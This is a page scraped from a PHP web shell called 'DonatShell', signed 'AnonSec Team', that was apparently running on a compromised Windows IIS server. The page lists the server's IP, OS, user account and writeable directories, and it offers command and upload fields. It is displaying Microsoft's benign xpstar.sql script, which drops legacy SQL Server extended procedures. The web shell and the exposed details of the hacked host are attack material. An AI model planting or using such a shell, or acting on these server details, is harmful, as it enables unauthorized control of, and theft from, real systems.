DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Program Files/Microsoft SQL Server/MSSQL11.MSSQLSERVER/MSSQL/Install/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /Program Files/Microsoft SQL Server/MSSQL11.MSSQLSERVER/MSSQL/Install/xpstar.sql
/********************************************************************************************/
/* XPSTAR.SQL - Extended Stored Procedures for the SQL Server Enterprise Components         */
/*
** Copyright (c) Microsoft Corporation
** All Rights Reserved.
*/
/********************************************************************************************/

use master

----------------------------------------------------------------------------------------
-- drop legacy procedures that are not used anymore
----------------------------------------------------------------------------------------

create table #procs (name sysname NOT NULL)
go

insert into #procs values (N'sp_sqlregister')
insert into #procs values (N'xp_getfiledetails')
insert into #procs values (N'xp_eventlog')
insert into #procs values (N'sp_eventlog')
insert into #procs values (N'sp_IsMBCSLeadByte')
insert into #procs values (N'sp_GetMBCSCharLen')
insert into #procs values (N'xp_enum_activescriptengines')
insert into #procs values (N'xp_MSPlatform')
insert into #procs values (N'xp_IsNTAdmin')
insert into #procs values (N'xp_SetSQLSecurity')
insert into #procs values (N'xp_GetAdminGroupName')
insert into #procs values (N'xp_MSnt2000')
insert into #procs values (N'xp_MSLocalSystem')


declare proc_cursor cursor for select name from #procs
open proc_cursor

declare @name as sysname

fetch next from proc_cursor into @name
while @@fetch_status = 0
begin
	if object_id(@name, 'X') is not null
	begin	
	    --print N'DEBUG: dropping ' + @name + '...'
		exec sp_dropextendedproc @functname = @name
	end

	if object_id('dbo.' + @name, 'P') is not null	
	begin
		--print N'DEBUG: dropping ' + @name + '...'
		execute ('drop procedure dbo.' + @name)
	end

	fetch next from proc_cursor into @name
end

close proc_cursor
deallocate proc_cursor

go

drop table #procs
go

/********************************************************************************************/
/* EOF XPSTAR.SQL                                                                           */
/********************************************************************************************/

Anon7 - 2022
AnonSec Team